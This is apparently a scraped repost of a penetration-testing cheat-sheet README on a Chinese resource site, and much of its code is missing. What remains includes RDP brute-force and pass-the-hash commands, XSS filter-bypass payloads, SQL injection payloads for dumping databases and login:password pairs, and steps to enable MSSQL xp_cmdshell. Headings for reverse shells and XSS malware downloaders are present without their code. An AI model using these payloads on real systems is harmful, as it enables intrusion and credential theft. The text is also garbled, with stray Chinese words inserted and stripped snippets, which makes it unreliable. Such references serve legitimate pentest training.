<p align="center">
<img src=" alt="Pentest Cheat Sheets" width="300" />
</p>
<p align="center">
Pentest-Cheat-Sheets<br>
| |
</p>
This repo has a collection of snippets of codes and commands to help our lives!
The main purpose is not be a crutch, this is a way to do not waste our precious time!
This repo also helps who trying to get OSCP. You'll find many ways to do something without Metasploit 框架.
Resolve a gi to the corresponding IP.
#### Using nslookup Command
#### Using HOST Command
host -t ns(Name 服务端) < domain >
after that test nameservers
host -l < domain > < nameserver >
#### DNSenum
#### DNSmap
Brute Force, the file is saved in /tmp
#### DNSRecon DNS Brute Force
#### Fierce.pl
#### HostMap
We can use -with-zonetransfer or -bruteforce-level
##
#### Dmarc
#### Online Tools
##
Set the ip address as a
export ip=192.168.1.100export netw=192.168.1.0/24
Only Ip's
Only Open Ports and Banner Grab
Stealth scan using FIN Scan
Without Ping scan, no dns resolution, show only open ports all and test All TCP Ports
Nmap scan, runs syn stealth, T4 timing, OS and service info, traceroute and scripts against services
##
One port
Port Range
##
onesixtyone -c COMMUNITY_FILE -i Target_ip
Walking MIB's
snmpwalk -c COMMUNITY - target_ip
specific MIB node
snmpwalk -c community - Target IP MIB Node
Example: USER ACCOUNTS = 1.3.6.1.4.1.77.1.2.25
snmp-check -t target_IP | snmp-check -t TARGET -c COMMUNITY
##
Mysql Open to wild
##
##### Simple User Enumeration for Windows Target (kerberos based)
xfreerdp /v:<target_ip> -sec-nla /u:""
xfreerdp /u:<user> /g:<domain> /p:<pass> /v:<target_ip>
#### Wordlist based bruteforce
ncrack -/-U <username/username_wordlist> --pass/-P <password/password_wordlist> <target_ip>:3389
crowbar -b rdp <-u/-U user/user_wordlist> -c/-C <password/password_wordlist> -s <target_ip>/32 -v
#### Tool:
pth-toolkit
sudo pth-smbclient --user=<user> --pw-nt-hash -m smb3 -L <target_ip> \\\\<target_ip>\\ <hash>
sudo pth-smbclient --user=<user> --pw-nt-hash -m smb3 \\\\<target_ip>\\shared_folder <hash>
Situation
#### How to Test
#### LFI Payloads
#### Simple test
This is a simple test to see what happens, this is not a prove that the field is vuln to xss
#### Simple XSS test
#### Bypass filter of tag script
" onload="alert(String.fromCharCode(88,83,83))
bla is not a valid image, so this cause an error
> cookie.txtchmod 777 cookie.txt
edit a php page like colector.php as follow:
Script to put in page:
#### Malware Donwloader via XSS
#### How to play Mario with XSS
#### XSS payloads
Sql Injection
#### GET
#### Error-Based
#### Simple test
Adding a simpe quote '
Example:
#### List databases
#### List tables
#### List columns
#### Dump all
#### Set Cookie
#### Checking Pri
#### Reading file
#### Writing file
#### POST
You can also use a file like with the post request:
#### GET
#### Error-Based
#### Simple test
Adding a simpe quote '
Example:
#### Fuzzing
Sorting columns to find maximum column
order by 1
order by 2
order by 3
(until it stop returning errors)
---
#### Finding what column is injectable
mysql
union select 1, 2, 3
(using the same amount of columns you got on the previous step)
postgresql
union select NULL, NULL, NULL
(using the same amount of columns you got on the previous step)
one of the columns will be printed with the respecti
---
#### Finding
mysql
union select 1, 2, ()
postgres
union select NULL, NULL, ()
#### Finding database name
mysql
union select 1,2, database()
postgres
union select NULL,NULL, database()
#### Finding usernames logged in
mysql
union select 1, 2, current_user()
#### Finding databases
mysql
union select 1, 2, schema_name from information_schema.schemata
postgres
union select 1, 2, datname from pg_database
#### Finding table names from a database
mysql
postgres
#### Finding column names from a table
mysql
postgres
#### Concatenate
Example:
union select 1, 2, login from users; union select 1, 2, password from users;
in one query
union select 1, 2, concat(login,':',password) from users; mysql union select 1, 2, login||':'||password from users; postgres
#### Current user
or 1 in (SELECT TOP 1 CAST(user_name() as (4096)))--
#### DBMS
or 1 in (SELECT TOP 1 CAST(@@ as (4096)))--
#### Database name
or db_name(0)=0 --
#### Tables from a database
or 1 in (SELECT TOP 1 CAST(name as (4096)) FROM dbname..sysobjects where xtype='U')--
---
or 1 in (SELECT TOP 1 CAST(name as (4096)) FROM dbname..sysobjects where xtype='U' AND name NOT IN ('pre',...))--
#### Columns within a table
or 1 in (SELECT TOP 1 CAST(dbname..syscolumns.name as (4096)) FROM dbname..syscolumns, dbname..sysobjects WHERE dbname..syscolumns.id=dbname..sysobjects.id AND dbname..sysobjects.name = 'tablename')--
> remember to change dbname and tablename accordingly with the gi
> after each iteration a new column name will be found, make sure add it to pre found column name separated by comma as on the next sample
or 1 in (SELECT TOP 1 CAST(dbname..syscolumns.name as (4096)) FROM dbname..syscolumns, dbname..sysobjects WHERE dbname..syscolumns.id=dbname..sysobjects.id AND dbname..sysobjects.name = 'tablename' AND dbname..syscolumns.name NOT IN('pre found column name', ...))--
#### Actual data
or 1 in (SELECT TOP 1 CAST(columnName as (4096)) FROM tablename)--
> after each iteration a new column name will be found, make sure add it to pre found column name separated by comma as on the next sample
or 1 in (SELECT TOP 1 CAST(columnName as (4096)) FROM tablename AND name NOT IN('pre found row data'))--
#### Shell commands
EXEC master..xp_cmdshell <command>
> you need yo be 'sa' user
#### Enabling shell commands
EXEC sp_configure 'show ad options', 1; RECONFIGURE; EXEC sp_congigure 'xp_shell', 1; RECONFIGURE;
##
Tiny Reverse Shell
Create a simple powershell script called reverse.ps1:
One of the simplest forms of reverse shell is an xterm session. The following command should be run on the 服务端. It will try to connect back to you (10.0.0.1) on TCP port 6001.
To catch the incoming xterm, start an X-服务端 (:1 – which listens on TCP port 6001). One way to do this is with Xnest (to be run on your system):
You’ll need to authorise the target to connect to you (command also run on your host):
##
#### Powershell
Download files with powershell
Creating a server with python3
Creating a server with python2
#### FTP
You need to create a FTP server
we can simply run ftp -s:ftp_commands.txt and we can download a file with no user interaction.
like this:
#### Apache Server
Get via web browser, wget or powershell...
#### Openssh for Tunneling
Once you got SYSTEM on the target machine. download: openssh_for_windows
Then install it:
Now if you need, just adjust the firewall rules to your needs:
Start the sshd service:
After these steps a regular ssh tunnel would sufice:
From your linux machine:
done you have now a socks to tunnel through!!
##
##
#### HTTP/HTTPS Servers
HTTPS using Python
Create the Certificate:
Start the HTTPS Server
##
HOW TO
开发语言:Shell
Star 数:2945
该项目属于黑客技术方向的开源资源,代码结构清晰,适合安全研究人员学习参考。项目围绕A collection of snippets of codes and commands to make your life easier! 展开,提供了可运行的实现,对理解相关安全机制、工具原理与攻防技术具有较高的研究价值。
从技术实现角度看,此类项目的核心在于对底层原理的深入理解与工程化落地。开发者在研究过程中可以结合官方文档与社区讨论,梳理项目的初始化流程、核心模块职责与数据流转,逐步掌握其中的技术细节与设计思路。
1. 下载源码压缩包,解压到本地环境。
2. 根据项目类型准备对应的运行环境与依赖。
3. 按照 README 中的步骤完成配置与部署。
4. 在隔离的测试环境中运行验证,避免影响生产系统。
本资源来源于开源社区,仅供安全研究、技术学习与合法授权范围内的攻防演练使用,请勿用于任何非法或侵害他人权益的用途。使用本项目产生的一切后果由使用者自行承担。
| 资源标题 | Pentest-Cheat-Sheets - 代码和命令片段的集合 |
| 所属分类 | 黑客技术 |
| 发布作者 | admin |
| 发布时间 | 2026-10-05 22:04:29 |
| 下载权限 | 免费下载 |
| 附件数量 | 2 个下载链接 |
| 浏览次数 | 368 |
| 讨论数量 | 0 |
| 主题状态 | 正常讨论中 |